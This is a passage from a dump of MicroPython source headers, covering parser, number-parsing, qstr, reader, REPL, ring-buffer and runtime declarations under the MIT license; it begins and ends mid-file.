*p, mp_int_t *val);\nconst byte *pt_rule_first(const byte *p);\nconst byte *pt_rule_extract_top(const byte *p, const byte **ptop);\nconst byte *pt_rule_extract(const byte *p, mp_uint_t *rule_id, size_t *src_line, const byte **ptop);\nbool pt_is_rule_empty(const byte *p);\n\nbool mp_parse_node_get_int_maybe(const byte *p, mp_obj_t *o, mp_uint_t *co_data);\nconst byte *mp_parse_node_extract_list(const byte **p, mp_uint_t pn_kind);\n\ntypedef enum {\n    MP_PARSE_SINGLE_INPUT,\n    MP_PARSE_FILE_INPUT,\n    MP_PARSE_EVAL_INPUT,\n} mp_parse_input_kind_t;\n\ntypedef struct _mp_parse_t {\n    const byte *root;\n    mp_uint_t *co_data;\n    struct _mp_parse_chunk_t *chunk;\n} mp_parse_tree_t;\n\n// the parser will raise an exception if an error occurred\n// the parser will free the lexer before it returns\nmp_parse_tree_t mp_parse(struct _mp_lexer_t *lex, mp_parse_input_kind_t input_kind);\nvoid mp_parse_tree_clear(mp_parse_tree_t *tree);\n\n#endif // MICROPY_USE_SMALL_HEAP_COMPILER\n\n#endif // MICROPY_INCLUDED_PY_PARSE2_H\n"
  },
  {
    "path": "micropython/inc/py/parsenum.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_PARSENUM_H\n#define MICROPY_INCLUDED_PY_PARSENUM_H\n\n#include \"py/mpconfig.h\"\n#include \"py/lexer.h\"\n#include \"py/obj.h\"\n\n// these functions raise a SyntaxError if lex!=NULL, else a ValueError\nmp_obj_t mp_parse_num_integer(const char *restrict str, size_t len, int base, mp_lexer_t *lex);\nmp_obj_t mp_parse_num_decimal(const char *str, size_t len, bool allow_imag, bool force_complex, mp_lexer_t *lex);\n\n#endif // MICROPY_INCLUDED_PY_PARSENUM_H\n"
  },
  {
    "path": "micropython/inc/py/parsenumbase.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_PARSENUMBASE_H\n#define MICROPY_INCLUDED_PY_PARSENUMBASE_H\n\n#include \"py/mpconfig.h\"\n\nsize_t mp_parse_num_base(const char *str, size_t len, int *base);\n\n#endif // MICROPY_INCLUDED_PY_PARSENUMBASE_H\n"
  },
  {
    "path": "micropython/inc/py/persistentcode.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_PERSISTENTCODE_H\n#define MICROPY_INCLUDED_PY_PERSISTENTCODE_H\n\n#include \"py/mpprint.h\"\n#include \"py/reader.h\"\n#include \"py/emitglue.h\"\n\nmp_raw_code_t *mp_raw_code_load(mp_reader_t *reader);\nmp_raw_code_t *mp_raw_code_load_mem(const byte *buf, size_t len);\nmp_raw_code_t *mp_raw_code_load_file(const char *filename);\n\nvoid mp_raw_code_save(mp_raw_code_t *rc, mp_print_t *print);\nvoid mp_raw_code_save_file(mp_raw_code_t *rc, const char *filename);\n\n#endif // MICROPY_INCLUDED_PY_PERSISTENTCODE_H\n"
  },
  {
    "path": "micropython/inc/py/qstr.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_QSTR_H\n#define MICROPY_INCLUDED_PY_QSTR_H\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n\n// See qstrdefs.h for a list of qstr's that are available as constants.\n// Reference them as MP_QSTR_xxxx.\n//\n// Note: it would be possible to define MP_QSTR_xxx as qstr_from_str_static(\"xxx\")\n// for qstrs that are referenced this way, but you don't want to have them in ROM.\n\n// first entry in enum will be MP_QSTR_NULL=0, which indicates invalid/no qstr\nenum {\n#ifndef NO_QSTR\n#define QDEF(id, str) id,\n#include \"genhdr/qstrdefs.generated.h\"\n#undef QDEF\n#endif\n    MP_QSTRnumber_of, // no underscore so it can't clash with any of the above\n};\n\ntypedef size_t qstr;\n\ntypedef struct _qstr_pool_t {\n    struct _qstr_pool_t *prev;\n    size_t total_prev_len;\n    size_t alloc;\n    size_t len;\n    const byte *qstrs[];\n} qstr_pool_t;\n\n#define QSTR_FROM_STR_STATIC(s) (qstr_from_strn((s), strlen(s)))\n\nvoid qstr_init(void);\n\nmp_uint_t qstr_compute_hash(const byte *data, size_t len);\nqstr qstr_find_strn(const char *str, size_t str_len); // returns MP_QSTR_NULL if not found\n\nqstr qstr_from_str(const char *str);\nqstr qstr_from_strn(const char *str, size_t len);\n\nbyte *qstr_build_start(size_t len, byte **q_ptr);\nqstr qstr_build_end(byte *q_ptr);\n\nmp_uint_t qstr_hash(qstr q);\nconst char *qstr_str(qstr q);\nsize_t qstr_len(qstr q);\nconst byte *qstr_data(qstr q, size_t *len);\n\nvoid qstr_pool_info(size_t *n_pool, size_t *n_qstr, size_t *n_str_data_bytes, size_t *n_total_bytes);\nvoid qstr_dump_data(void);\n\n#endif // MICROPY_INCLUDED_PY_QSTR_H\n"
  },
  {
    "path": "micropython/inc/py/qstrdefs.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpconfig.h\"\n\n// All the qstr definitions in this file are available as constants.\n// That is, they are in ROM and you can reference them simply as MP_QSTR_xxxx.\n\n// qstr configuration passed to makeqstrdata.py of the form QCFG(key, value)\nQCFG(BYTES_IN_LEN, MICROPY_QSTR_BYTES_IN_LEN)\nQCFG(BYTES_IN_HASH, MICROPY_QSTR_BYTES_IN_HASH)\n\nQ()\nQ(*)\nQ(_)\nQ(/)\nQ(%#o)\nQ(%#x)\nQ({:#b})\nQ(\\n)\nQ(maximum recursion depth exceeded)\nQ(<module>)\nQ(<lambda>)\nQ(<listcomp>)\nQ(<dictcomp>)\nQ(<setcomp>)\nQ(<genexpr>)\nQ(<string>)\nQ(<stdin>)\nQ(utf-8)\n"
  },
  {
    "path": "micropython/inc/py/reader.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_READER_H\n#define MICROPY_INCLUDED_PY_READER_H\n\n#include \"py/obj.h\"\n\n// the readbyte function must return the next byte in the input stream\n// it must return MP_READER_EOF if end of stream\n// it can be called again after returning MP_READER_EOF, and in that case must return MP_READER_EOF\n#define MP_READER_EOF ((mp_uint_t)(-1))\n\ntypedef struct _mp_reader_t {\n    void *data;\n    mp_uint_t (*readbyte)(void *data);\n    void (*close)(void *data);\n} mp_reader_t;\n\nvoid mp_reader_new_mem(mp_reader_t *reader, const byte *buf, size_t len, size_t free_len);\nvoid mp_reader_new_file(mp_reader_t *reader, const char *filename);\nvoid mp_reader_new_file_from_fd(mp_reader_t *reader, int fd, bool close_fd);\n\n#endif // MICROPY_INCLUDED_PY_READER_H\n"
  },
  {
    "path": "micropython/inc/py/repl.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_REPL_H\n#define MICROPY_INCLUDED_PY_REPL_H\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/mpprint.h\"\n\n#if MICROPY_HELPER_REPL\nbool mp_repl_continue_with_input(const char *input);\nsize_t mp_repl_autocomplete(const char *str, size_t len, const mp_print_t *print, const char **compl_str);\n#endif\n\n#endif // MICROPY_INCLUDED_PY_REPL_H\n"
  },
  {
    "path": "micropython/inc/py/ringbuf.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_RINGBUF_H\n#define MICROPY_INCLUDED_PY_RINGBUF_H\n\ntypedef struct _ringbuf_t {\n    uint8_t *buf;\n    uint16_t size;\n    uint16_t iget;\n    uint16_t iput;\n} ringbuf_t;\n\n// Static initialization:\n// byte buf_array[N];\n// ringbuf_t buf = {buf_array, sizeof(buf_array)};\n\n// Dynamic initialization. This creates root pointer!\n#define ringbuf_alloc(r, sz) \\\n{ \\\n    (r)->buf = m_new(uint8_t, sz); \\\n    (r)->size = sz; \\\n    (r)->iget = (r)->iput = 0; \\\n}\n\nstatic inline int ringbuf_get(ringbuf_t *r) {\n    if (r->iget == r->iput) {\n        return -1;\n    }\n    uint8_t v = r->buf[r->iget++];\n    if (r->iget >= r->size) {\n        r->iget = 0;\n    }\n    return v;\n}\n\nstatic inline int ringbuf_put(ringbuf_t *r, uint8_t v) {\n    uint32_t iput_new = r->iput + 1;\n    if (iput_new >= r->size) {\n        iput_new = 0;\n    }\n    if (iput_new == r->iget) {\n        return -1;\n    }\n    r->buf[r->iput] = v;\n    r->iput = iput_new;\n    return 0;\n}\n\n#endif // MICROPY_INCLUDED_PY_RINGBUF_H\n"
  },
  {
    "path": "micropython/inc/py/runtime.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_RUNTIME_H\n#define MICROPY_INCLUDED_PY_RUNTIME_H\n\n#include \"py/mpstate.h\"\n#include \"py/obj.h\"\n\ntypedef enum {\n    MP_VM_RETURN_NORMAL,\n    MP_VM_RETURN_YIELD,\n    MP_VM_RETURN_EXCEPTION,\n} mp_vm_return_kind_t;\n\ntypedef enum {\n    MP_ARG_BOOL      = 0x001,\n    MP_ARG_INT       = 0x002,\n    MP_ARG_OBJ       = 0x003,\n    MP_ARG_KIND_MASK = 0x0ff,\n    MP_ARG_REQUIRED  = 0x100,\n    MP_ARG_KW_ONLY   = 0x200,\n} mp_arg_flag_t;\n\ntypedef union _mp_arg_val_t {\n    bool u_bool;\n    mp_int_t u_int;\n    mp_obj_t u_obj;\n    mp_rom_obj_t u_rom_obj;\n} mp_arg_val_t;\n\ntypedef struct _mp_arg_t {\n    uint16_t qst;\n    uint16_t flags;\n    mp_arg_val_t defval;\n} mp_arg_t;\n\n// defined in objtype.c\nextern const qstr mp_unary_op_method_name[];\nextern const qstr mp_binary_op_method_name[];\n\nvoid mp_init(void);\nvoid mp_deinit(void);\n\nvoid mp_handle_pending(void);\nvoid mp_handle_pending_tail(mp_uint_t atomic_state);\n\n#if MICROPY_ENABLE_SCHEDULER\nvoid mp_sched_lock(void);\nvoid mp_sched_unlock(void);\nstatic inline unsigned int mp_sched_num_pending(void) { return MP_STATE_VM(sched_sp); }\nbool mp_sched_schedule(mp_obj_t function, mp_obj_t arg);\n#endif\n\n// extra printing method specifically for mp_obj_t's which are integral type\nint mp_print_mp_int(const mp_print_t *print, mp_obj_t x, int base, int base_char, int flags, char fill, int width, int prec);\n\nvoid mp_arg_check_num(size_t n_args, size_t n_kw, size_t n_args_min, size_t n_args_max, bool takes_kw);\nvoid mp_arg_parse_all(size_t n_pos, const mp_obj_t *pos, mp_map_t *kws, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals);\nvoid mp_arg_parse_all_kw_array(size_t n_pos, size_t n_kw, const mp_obj_t *args, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals);\nNORETURN void mp_arg_error_terse_mismatch(void);\nNORETURN void mp_arg_error_unimpl_kw(void);\n\nstatic inline mp_obj_dict_t *mp_locals_get(void) { return MP_STATE_THREAD(dict_locals); }\nstatic inline void mp_locals_set(mp_obj_dict_t *d) { MP_STATE_THREAD(dict_locals) = d; }\nstatic inline mp_obj_dict_t *mp_globals_get(void) { return MP_STATE_THREAD(dict_globals); }\nstatic inline void mp_globals_set(mp_obj_dict_t *d) { MP_STATE_THREAD(dict_globals) = d; }\n\nmp_obj_t mp_load_name(qstr qst);\nmp_obj_t mp_load_global(qstr qst);\nmp_obj_t mp_load_build_class(void);\nvoid mp_store_name(qstr qst, mp_obj_t obj);\nvoid mp_store_global(qstr qst, mp_obj_t obj);\nvoid mp_delete_name(qstr qst);\nvoid mp_delete_global(qstr qst);\n\nmp_obj_t mp_unary_op(mp_uint_t op, mp_obj_t arg);\nmp_obj_t mp_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs);\n\nmp_obj_t mp_call_function_0(mp_obj_t fun);\nmp_obj_t mp_call_function_1(mp_obj_t fun, mp_obj_t arg);\nmp_obj_t mp_call_function_2(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2);\nmp_obj_t mp_call_function_n_kw(mp_obj_t fun, size_t n_args, size_t n_kw, const mp_obj_t *args);\nmp_obj_t mp_call_method_n_kw(size_t n_args, size_t n_kw, const mp_obj_t *args);\nmp_obj_t mp_call_method_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args);\nmp_obj_t mp_call_method_self_n_kw(mp_obj_t meth, mp_obj_t self, size_t n_args, size_t n_kw, const mp_obj_t *args);\n// Call function and catch/dump exception - for Python callbacks from C code\nvoid mp_call_function_1_protected(mp_obj_t fun, mp_obj_t arg);\nvoid mp_call_function_2_protected(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2);\n\ntypedef struct _mp_call_args_t {\n    mp_obj_t fun;\n    size_t n_args, n_kw, n_alloc;\n    mp_obj_t *args;\n} mp_call_args_t;\n\n#if MICROPY_STACKLESS\n// Takes arguments which are the most general mix of Python arg types, and\n// prepares argument array suitable for passing to ->call() method of a\n// function object (and mp_call_function_n_kw()).\n// (Only needed in stackless mode.)\nvoid mp_call_prepare_args_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args, mp_call_args_t *out_args);\n#endif\n\nvoid mp_unpack_sequence(mp_obj_t seq, size_t num, mp_obj_t *items);\nvoid mp_unpack_ex(mp_obj_t seq, size_t num, mp_obj_t *items);\nmp_obj_t mp_store_map(mp_obj_t map, mp_obj_t key, mp_obj_t value);\nmp_obj_t mp_load_attr(mp_obj_t base, qstr attr);\nvoid mp_convert_member_lookup(mp_obj_t obj, const mp_obj_type_t *type, mp_obj_t member, mp_obj_t *dest);\nvoid mp_load_method(mp_obj_t base, qstr attr, mp_obj_t *dest);\nvoid mp_load_method_maybe(mp_obj_t base, qstr attr, mp_obj_t *dest);\nvoid mp_load_super_method(qstr attr, mp_obj_t *dest);\nvoid mp_store_attr(mp_obj_t base, qstr attr, mp_obj_t val);\n\nmp_obj_t mp_getiter(mp_obj_t o, mp_obj_iter_buf_t *iter_buf);\nmp_obj_t mp_iternext_allow_raise(mp_obj_t o); // may return MP_OBJ_STOP_ITERATION instead of raising StopIteration()\nmp_obj_t mp_iternext(mp_obj_t o); // will always return MP_OBJ_STOP_ITERATION instead of raising StopIteration(...)\nmp_vm_return_kind_t mp_resume(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value, mp_obj_t *ret_val);\n\nmp_obj_t mp_make_raise_obj(mp_obj_t o);\n\nmp_obj_t mp_import_name(qstr name, mp_obj_t fromlist, mp_obj_t level);\nmp_obj_t mp_import_from(mp_obj_t module, qstr name);\nvoid mp_import_all(mp_obj_t module);\n\nNORETURN void mp_raise_msg(const mp_obj_type_t *exc_type, const char *msg);\n//NORETURN void nlr_raise_msg_varg(const mp_obj_type_t *exc_type, const char *fmt, ...);\nNORETURN void mp_raise_ValueError(const char *msg);\nNORETURN void mp_raise_TypeError(const char *msg);\nNORETURN void mp_raise_NotImplementedError(const char *msg);\nNORETURN void mp_raise_OSError(int errno_);\nNORETURN void mp_exc_recursion_depth(void);\n\n#if MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG\n#undef mp_check_self\n#define mp_check_self(pred)\n#else\n// A port may define to raise TypeError for example\n#ifndef mp_check_self\n#define mp_check_self(pred) assert(pred)\n#endif\n#endif\n\n// helper functions for native/viper code\nmp_uint_t mp_convert_obj_to_native(mp_obj_t obj, mp_uint_t type);\nmp_obj_t mp_convert_native_to_obj(mp_uint_t val, mp_uint_t type);\nmp_obj_t mp_native_call_function_n_kw(mp_obj_t fun_in, size_t n_args_kw, const mp_obj_t *args);\nvoid mp_native_raise(mp_obj_t o);\n\n#define mp_sys_path (MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_sys_path_obj)))\n#define mp_sys_argv (MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_sys_argv_obj)))\n\n#if MICROPY_WARNINGS\nvoid mp_warning(const char *msg, ...);\n#else\n#define mp_warning(msg, ...)\n#endif\n\n#endif // MICROPY_INCLUDED_PY_RUNTIME_H\n"
  },
  {
    "path": "micropython/inc/py/runtime0.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_RUNTIME0_H\n#define MICROPY_INCLUDED_PY_RUNTIME0_H\n\n// These must fit in 8 bits; see scope.h\n#define MP_SCOPE_FLAG_VARARGS      (0x01)\n#define MP_SCOPE_FLAG_VARKEYWORDS  (0x02)\n#define MP_SCOPE_FLAG_GENERATOR    (0x04)\n#define MP_SCOPE_FLAG_DEFKWARGS    (0x08)\n\n// types for native (viper) function signature\n#define MP_NATIVE_TYPE_OBJ  (0x00)\n#define MP_NATIVE_TYPE_BOOL (0x01)\n#define MP_NATIVE_TYPE_INT  (0x02)\n#define MP_NATIVE_TYPE_UINT (0x03)\n#define MP_NATIVE_TYPE_PTR  (0x04)\n#define MP_NATIVE_TYPE_PTR8 (0x05)\n#define MP_NATIVE_TYPE_PTR16 (0x06)\n#define MP_NATIVE_TYPE_PTR32 (0x07)\n\ntypedef enum {\n    MP_UNARY_OP_BOOL, // __bool__\n    MP_UNARY_OP_LEN, // __len__\n    MP_UNARY_OP_HASH, // __hash__; must return a small int\n    MP_UNARY_OP_POSITIVE,\n    MP_UNARY_OP_NEGATIVE,\n    MP_UNARY_OP_INVERT,\n    MP_UNARY_OP_NOT,\n    MP_UNARY_OP_SIZEOF, // for sys.getsizeof()\n} mp_unary_op_t;\n\ntypedef enum {\n    MP_BINARY_OP_OR,\n    MP_BINARY_OP_XOR,\n    MP_BINARY_OP_AND,\n    MP_BINARY_OP_LSHIFT,\n    MP_BINARY_OP_RSHIFT,\n\n    MP_BINARY_OP_ADD,\n    MP_BINARY_OP_SUBTRACT,\n    MP_BINARY_OP_MULTIPLY,\n    MP_BINARY_OP_FLOOR_DIVIDE,\n    MP_BINARY_OP_TRUE_DIVIDE,\n\n    MP_BINARY_OP_MODULO,\n    MP_BINARY_OP_POWER,\n    MP_BINARY_OP_DIVMOD, // not emitted by the compiler but supported by the runtime\n    MP_BINARY_OP_INPLACE_OR,\n    MP_BINARY_OP_INPLACE_XOR,\n\n    MP_BINARY_OP_INPLACE_AND,\n    MP_BINARY_OP_INPLACE_LSHIFT,\n    MP_BINARY_OP_INPLACE_RSHIFT,\n    MP_BINARY_OP_INPLACE_ADD,\n    